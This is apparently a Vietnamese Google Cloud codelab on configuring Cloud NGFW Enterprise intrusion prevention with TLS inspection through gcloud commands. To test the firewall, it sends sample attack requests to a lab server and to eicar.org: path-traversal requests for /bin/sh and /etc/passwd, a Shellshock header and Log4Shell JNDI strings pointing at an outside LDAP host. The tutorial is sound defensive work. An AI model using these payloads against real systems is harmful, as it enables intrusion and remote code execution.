1. Giới thiệu
Bức tường lửa thế hệ mới trên đám mây (NGFW)
Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối hoàn toàn, có các tính năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bảo vệ rộng rãi để bảo vệ các khối lượng công việc trên Google Cloud khỏi các cuộc tấn công nội bộ và bên ngoài.
NGFW trên đám mây có các lợi ích sau:
- Dịch vụ tường lửa phân tán: NGFW trên đám mây cung cấp tính năng thực thi dựa trên máy chủ, có trạng thái và được phân tán hoàn toàn trên mỗi khối lượng công việc để hỗ trợ kiến trúc bảo mật không tin cậy.
- Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa phân cấp và mạng có thể được đính kèm vào nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
- Kiểm soát chi tiết và phân đoạn vi mô: Việc kết hợp các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) quản lý giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc-nam và đông-tây, cho đến từng máy ảo trên các mạng và tổ chức trong đám mây riêng ảo (VPC).
Cloud NGFW có các cấp sau:
- Kiến thức cơ bản về Tường lửa thế hệ mới trên đám mây
- Tiêu chuẩn tường lửa thế hệ mới trên đám mây
- Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp
Cloud NGFW Enterprise
Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng Lớp 7, vào cấu trúc Tường lửa Google Cloud được phân phối. Hoạt động kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS.
Giờ đây, bạn có thể triển khai các quy trình kiểm tra Tường lửa thế hệ mới (NGFW) Lớp 7 đáng tin cậy bằng các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.
Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:
- Tạo một tập hợp các điểm cuối của tường lửa theo vùng do Google Cloud quản lý.
- Bạn có thể tạo Chính sách kiểm tra TLS (không bắt buộc).
- Tạo Cấu hình tin cậy (không bắt buộc).
- Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) mà bạn cần dịch vụ Cloud NGFW Enterprise.
- Thực hiện các thay đổi đơn giản đối với chính sách và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.
Chính sách về tường lửa mạng
Chính sách tường lửa mạng đóng vai trò là vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách được liên kết với một mạng VPC. Mỗi mạng VPC có thể liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này sẽ thay thế thẻ mạng hiện tại và có thể được dùng để cung cấp danh tính cho khối lượng công việc.
Việc chia sẻ chính sách tường lửa mạng trên các mạng và tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.
Với việc ra mắt chính sách tường lửa mạng, chính sách tường lửa của Google Cloud hiện bao gồm các thành phần sau:
- Chính sách tường lửa phân cấp
- Quy tắc tường lửa VPC
- Chính sách tường lửa mạng ( Toàn cầu và Khu vực)
Chính sách tường lửa có phân cấp được hỗ trợ ở các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa quy tắc tường lửa VPC và chính sách tường lửa mạng là quy tắc tường lửa VPC chỉ có thể áp dụng cho một mạng VPC, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC hoặc nhóm VPC, cùng với các lợi ích khác như cập nhật hàng loạt.
Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm ẩn đi kèm với mọi mạng VPC:
- Quy tắc thoát có hành động là cho phép, đích đến là 0.0.0.0/0
- Quy tắc truy cập có hành động là từ chối, nguồn là 0.0.0.0/0
Theo mặc định, trình tự thực thi được hiển thị trong sơ đồ sau:
Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.
Thẻ từ khóa
Thẻ được tích hợp trong các quy tắc chính sách tường lửa mạng mới là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc cấp dự án của hệ phân cấp tài nguyên Google Cloud. Thẻ như vậy chứa các chế độ kiểm soát quyền truy cập IAM chỉ định người dùng nào có thể làm gì trên thẻ. Ví dụ: quyền Quản lý danh tính và quyền truy cập (IAM) cho phép người dùng chỉ định những chủ thể nào có thể chỉ định giá trị cho thẻ và những chủ thể nào có thể đính kèm thẻ vào tài nguyên. Nếu một quy tắc tường lửa mạng tham chiếu đến một Thẻ, thì quy tắc đó phải được áp dụng cho một tài nguyên để thực thi.
Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, nghĩa là thẻ và giá trị của thẻ được truyền xuống theo hệ phân cấp từ thẻ mẹ. Do đó, bạn có thể tạo thẻ ở một nơi rồi các thư mục và dự án khác sẽ sử dụng thẻ đó trong hệ phân cấp tài nguyên. Truy cập trang này để biết thông tin chi tiết về thẻ và hạn chế truy cập.
Đừng nhầm lẫn thẻ với thẻ mạng. Mã nhận dạng này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; các chuỗi này được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên trên đám mây nên các thẻ này không phải tuân theo chế độ kiểm soát quyền truy cập IAM.
Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được sử dụng thay thế cho nhau trong tài liệu này.
Sản phẩm bạn sẽ tạo ra
Lớp học lập trình này yêu cầu một dự án và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên bảo mật và mạng. Bài viết này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:
- Kiểm tra luồng Internet từ bắc xuống bằng tính năng kiểm tra TLS
- Kiểm tra luồng nội bộ vpc [Đông-Tây] bằng tính năng kiểm tra TLS
Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các tham số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ dữ liệu (địa chỉ IP nguồn, địa chỉ IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ.
Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:
Mức độ ưu tiên | Hướng | Target | Nguồn | Đích đến | Hành động | Loại |
100 | Lưu lượng vào | Server_Tag | Kiểm tra tình trạng | Bất kỳ | Cho phép | Essentials |
200 | Lưu lượng vào | Client_Tag, Server_Tag | IAP | Bất kỳ | Cho phép | Essentials |
800 | Lưu lượng vào | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Kiểm tra L7 | Doanh nghiệp |
850 | Lưu lượng ra | Client_Tag | Bất kỳ | 10.0.0.0/24 | Cho phép | Essentials |
900 | Lưu lượng ra | Client_Tag | Bất kỳ | Bất kỳ | Kiểm tra L7 | Doanh nghiệp |
Kiến thức bạn sẽ học được
- Cách tạo chính sách tường lửa mạng.
- Cách tạo và sử dụng Thẻ có chính sách tường lửa mạng.
- Cách định cấu hình và sử dụng Cloud NGFW Enterprise có tính năng kiểm tra TLS.
Bạn cần có
- Dự án trên Google Cloud.
- Kiến thức về việc triển khai các thực thể và định cấu hình các thành phần kết nối mạng.
- Kiến thức về cấu hình tường lửa VPC.
2. Trước khi bắt đầu
Tạo/cập nhật biến
Lớp học lập trình này sử dụng $variables để hỗ trợ triển khai cấu hình gcloud trong Cloud Shell.
Trong Cloud Shell, hãy chạy các lệnh bên dưới, thay thế thông tin trong dấu ngoặc đơn nếu cần:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Bật API
Bật các API nếu bạn chưa thực hiện việc này:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Tạo điểm cuối doanh nghiệp cho NGFW trên đám mây
Vì quá trình tạo Điểm cuối doanh nghiệp của Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thiết lập cơ sở song song trong khi điểm cuối đang được tạo.
Tạo Hồ sơ bảo mật và Nhóm hồ sơ bảo mật:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Kết quả đầu ra dự kiến:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Xác nhận rằng bạn đã tạo thành công các tài nguyên:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Tạo điểm cuối Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Quá trình tạo sẽ mất khoảng 20 phút. Tiếp tục chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.
5. Thiết lập cơ sở
Mạng VPC và mạng con
Mạng và mạng con VPC
Tạo mạng VPC và mạng con:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Tạo Cloud Router và cổng Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Nhiều mảnh ghép
Tạo các thực thể máy khách và máy chủ web:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
Thẻ cấp dự án
Chỉ định quyền tagAdmin cho người dùng if cần:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Tạo khoá và giá trị Thẻ ở cấp dự án:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Liên kết các thẻ với các thực thể:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Chính sách về tường lửa mạng trên toàn cầu
Tạo chính sách tường lửa mạng toàn cục:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Tạo các quy tắc bắt buộc của Cloud Firewall Essential để cho phép lưu lượng truy cập từ các dải kiểm tra tình trạng và proxy nhận dạng:
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
Tạo các quy tắc bắt buộc của Tường lửa trên đám mây để cho phép lưu lượng truy cập vào từ đông sang tây/trong mạng con từ các dải cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise có kiểm tra TLS):
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Liên kết chính sách tường lửa trên đám mây với mạng VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Liên kết điểm cuối của Tường lửa trên đám mây
Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc muốn sử dụng phương pháp tập lệnh.
Xác nhận rằng bạn đã hoàn tất việc tạo Điểm cuối của tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING (ĐANG TẠO)):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Liên kết điểm cuối của Tường lửa trên đám mây với mạng VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ chuyển sang phần TLS khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING (ĐANG TẠO)):
gcloud network-security firewall-endpoint-associations list
Kết quả đầu ra dự kiến khi hoàn tất:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Kết quả đầu ra dự kiến:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Định cấu hình tài nguyên TLS
Tạo nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng ta tạo cho NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Nếu bạn thấy thông báo bên dưới, hãy trả lời y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Tạo tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Thiết lập quyền IAM cho tài khoản dịch vụ:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Tạo tệp YAML về chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Nhập Chính sách kiểm tra TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Cập nhật mối liên kết điểm cuối để bật TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Tải chứng chỉ CA và thêm chứng chỉ đó vào kho CA của ứng dụng:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Chuyển chứng chỉ CA cho ứng dụng:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH vào máy ảo, di chuyển chứng chỉ CA sang /usr/local/share/ca-certificates và cập nhật kho CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Thoát về cloudshell.
Quy trình ký chứng chỉ máy chủ:
Trên cloudshell, hãy cài đặt thư viện mã hoá Pyca bằng lệnh pip:
pip install --user "cryptography>=2.2.0"
Để cho phép Google Cloud SDK sử dụng thư viện mã hoá Pyca, bạn phải bật gói trang web.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Tạo Chứng chỉ máy chủ:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Thao tác này sẽ tạo tệp cert.pem và key.pem trong cloudshell. Tiếp theo, hãy chuyển chứng chỉ và khoá sang máy chủ.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
SSH vào máy chủ để cập nhật thông tin chi tiết về chứng chỉ cho Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Chuyển chứng chỉ và khoá vào thư mục cụ thể:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Cập nhật cấu hình ssl để sử dụng chứng chỉ đã ký:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Khởi động lại Apache:
sudo systemctl restart apache2
Xác minh trạng thái Apache:
sudo systemctl status apache2
Ứng dụng phải đang hoạt động (đang chạy).
Thoát máy ảo và tiếp tục trên cloudshell.
8. Xác thực kết nối Bắc và Đông/Tây
Chạy các lệnh bên dưới trong Cloud Shell và ghi lại các IP mục tiêu sẽ được sử dụng:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo ứng dụng thông qua IAP (bạn sẽ cần xác định các biến trong thẻ mới):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Chạy các lệnh bên dưới và ghi lại các IP mục tiêu sẽ được sử dụng. Tạo các biến thay thế các giá trị trong dấu ngoặc bằng địa chỉ IP đã ghi chú ở bước trước và đảm bảo rằng bạn có thể truy cập được các biến đó:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Curl IP riêng tư và đảm bảo bạn có thể truy cập vào IP đó:
curl https://$target_privateip --max-time 2
Kết quả dự kiến cho yêu cầu curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Gửi các cuộc tấn công mẫu đến IP. Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có biện pháp kiểm tra/ngăn chặn L7 nào được áp dụng:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Mẫu kết quả dự kiến (IP riêng):
400 404 400 200 200
Tương tự, hãy gửi yêu cầu đến một đích đến trên Internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Mẫu kết quả dự kiến (đích đến trên Internet):
400 404 400 403 403
Thoát khỏi thiết bị đầu cuối của máy ảo và quay lại màn hình shell trên đám mây.
9. Tạo và cập nhật quy tắc tường lửa để kiểm tra TLS
Trước đó, chúng ta đã định cấu hình một quy tắc tường lửa để cho phép lưu lượng truy cập vào máy chủ của chúng ta từ mạng con nội bộ. Bây giờ, chúng ta sẽ cập nhật các quy tắc truy cập hiện có và đặt hành động thành apply_security_profile_group. Thao tác này sẽ bật tính năng kiểm tra E/W L7 bằng TLS:
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Tạo một quy tắc mới để kiểm tra quy trình kiểm tra L7 hướng bắc bằng TLS.
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Tạo một quy tắc mới để cho phép EGRESS cho E/W nhằm ngăn chặn việc kiểm tra hai lần.
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Xác thực tính năng Kiểm tra TLS hướng bắc
Chuyển về thẻ máy ảo của ứng dụng hoặc kết nối lại:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các cuộc tấn công mẫu đến một đích đến trên Internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Không nhận được phản hồi nào theo kết quả dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Đặt biến thành địa chỉ IP của máy chủ trước đó:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Gửi yêu cầu TLS mẫu đến máy chủ:
curl https://$target_privateip --max-time 2
Kết quả đầu ra dự kiến:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Tại sao yêu cầu này không thành công? Nguyên nhân là do Tường lửa đang nhận được chứng chỉ từ máy chủ không đáng tin cậy. Nếu điều này xảy ra, máy chủ sẽ chuyển chứng chỉ tự ký lại cho ứng dụng khách. Chúng ta cần thêm chứng chỉ CA vào cấu hình tin cậy để bật tính năng tin cậy.
Quay lại Cloud Shell.
11. Định cấu hình Trust Config
Lấy chứng chỉ CA gốc và đặt chứng chỉ đó làm biến có định dạng thích hợp.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Định cấu hình tệp YAML Cấu hình tin cậy. Tệp này chứa thông tin chi tiết về sự tin cậy, chẳng hạn như chứng chỉ CA:
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
